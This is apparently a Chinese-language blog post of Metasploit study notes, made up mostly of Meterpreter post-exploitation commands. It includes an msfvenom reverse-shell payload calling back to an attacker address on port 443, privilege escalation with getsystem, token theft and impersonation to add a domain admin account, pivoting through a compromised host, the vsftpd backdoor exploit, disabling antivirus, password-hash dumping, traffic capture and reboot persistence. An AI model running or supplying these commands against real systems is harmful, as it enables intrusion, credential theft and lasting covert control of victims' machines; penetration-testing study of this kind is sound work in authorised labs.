04_Meterpreter

若对mssql进行攻击,先使用mssql_ping模块找到MS SQL服务,并使用mssql_login模块猜解出MS SQL 用户的口令,然后使用mssql_payload模块与MS SQL交互并上传Meterpreter shell,从而实现了对系统的完整入侵过程

 

权限提升

在windows的目标机下输入命令创建新用户

net user bob password123 /add

创建一个基于Meterpreter的攻击载荷程序  payload.exe,复制到目标机上,并在bob用户账户下运行

#创建Meterpreter攻击载荷时,我们所设置的LHOST和LPORT参数指示了反向shell连接到攻击机地址和端口443。
随后我们调用msfcli接口进行监听并等待连接,当有连接到达的时候,将会开启Meterpreter的shell
/home/scripts#	msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.128 LPORT=443 -f exe -o payload.exe
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.118.128
msf > set LPORT 443
msf > exploit 


#提权
#输入use priv命令来加载priv扩展,然后输入getsystem尝试讲过权限提升,可以输入getuid命令来检查获取的权限等级
meterpreter > use priv
meterpreter > getsystem
meterpreter > getuid

令牌假冒

#使用ps或者incognito来列举当前运行的应用程序以及运行这些应用的用户账号
meterpreter > ps
#使用steal_token命令和PID来盗取域管理员用户的令牌
meterpreter > steal_token 2780

#通过use incognito 命令加载incognito模块,然后通过list_token -u 命令列举出领挂牌
meterpreter > use incognito
meterpreter > list_tokens -u
#例如显示结果中有METASPLO-CLE1\adminnistrator
#则扮演了Administrator令牌并添加了一个新的用户,然后赋予它域管理员的权限,域控制器为192.168.118.210
meterpreter > impersonate_token METASPLOIT\\Administrator
meterpreter > add_user omgcompromised p@55word! -h 192.168.118.210

跳板攻击

#从一个子网攻击一个目标系统,然后通过这个系统建立路由去攻击其他机器
攻击机的IP是192.168.1.1/24 中的地址,目标是192.168.39.1/24的网络
#若已取得了某个服务器的访问权限
meterpreter > run get_local_subnets
#得到回显,受控系统上的本地子网
Local subnet:192.168.1.0/255.255.255.0
Local subnet:192.168.39.0/255.255.255.0
#将攻击会话放到后台运行
meterpreter > background
#在MSF终端中执行添加路由命令,告知系统将远程网络ID(即受控主机的本地网络)通过攻击会话1来进行路由
#也可以使用load auto_add_route命令个自动完成这一操作
msf exploit(handler) > route add 192.168.39.0 225.225.225.0 1
#显示当前活跃的路由设置
msf exploit(handler) > route print
#对目标Linux系统进行第二次渗透攻击
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf > set PAYLOAD cmd/unix/interact
msf > set RHOST 192.168.39.150
#通过ifconfig命令显示网络信息,再与LHOST与RHOST变量进行对比,可以看到,LHOST参数指定的是攻击机的IP地址
通过已经攻陷的机器建立隧道,来对其进行攻击
msf > ifconfig
#以exploit命令执行漏洞利用,如果堆溢出成功,将会得到一个来自linux目标机的反弹终端,与攻击机建立连接
msf > exploit

拓展脚本

#通过"run 脚本名字"的命令,可以在Meterpreter终端中运行扩展脚本
#运行run vnc命令,在远程系统上安装vnc会话,然后可以运行run screen_unlock命令对目标机器上的桌面进行解锁。
这样就能看到目标主机桌面上的VNC创港口 meterpreter > run vnc meterpreter > run screen meterpreter > run screen_unlock

迁移进程

当我们攻击系统时,常常是对诸如Internet Explorer之类的服务进行漏洞利用,如果目标主机关闭了浏览器,Meterpreter会话也会随之被关闭,从而导致与目标系统的连接丢失,因此可以使用迁移进程的后渗透攻击模块,将会话迁移到内存空格键中的其他稳定的,不会被关闭的服务进程中

meterpreter > run post/windows/manage/migrate

关闭杀毒软件

meterpreter > run killav

获取系统密码哈希值

meterpreter > run hashdump

查看目标机上的所有流量

#所有被捕获的包都将以.pcap的文件格式存储下来,并能被Wireshark等攻击解析
meterpreter > run packetrecorder -i 1

获取系统信息

#获取用户名和密码、下载全部注册表、挖掘密码哈希值、收集系统信息以及输出HKCU
meterpreter > run scraper

控制持久化

Meterpreter的persistence脚本允许注入Meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。

#运行persistence脚本让系统开机自启动Meterpreter(-X),50秒(-i 50)重连一次,
#使用的端口为443(-p 443),连接的目的IP为192.168.118.128。
#然后用use multi/handler命令进行监听
meterpreter > run persistence -X -i 50 -p 443 -r 192.168.118.128
msf > use multi/handler
msf > back
msf > use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LPORT 443
msf > set LHOST 192.168.118.128
msf > exploit

  

将命令行shell升级为Meterpreter

 

#ctrl + Z 将当前shell放到后台
#输入sessions -l 查看当前活跃的sessions
use post/multi/manage/shell_to_meterpreter
set session 2
run
#再次输入sessions -l查看后台的sessions
#多了一个id为3的meterpreter shell,输入sessions -i 3,调用id为3的shell

  

  

 

posted @ 2021-03-06 16:01  妖涟  阅读(83)  评论(0)    收藏  举报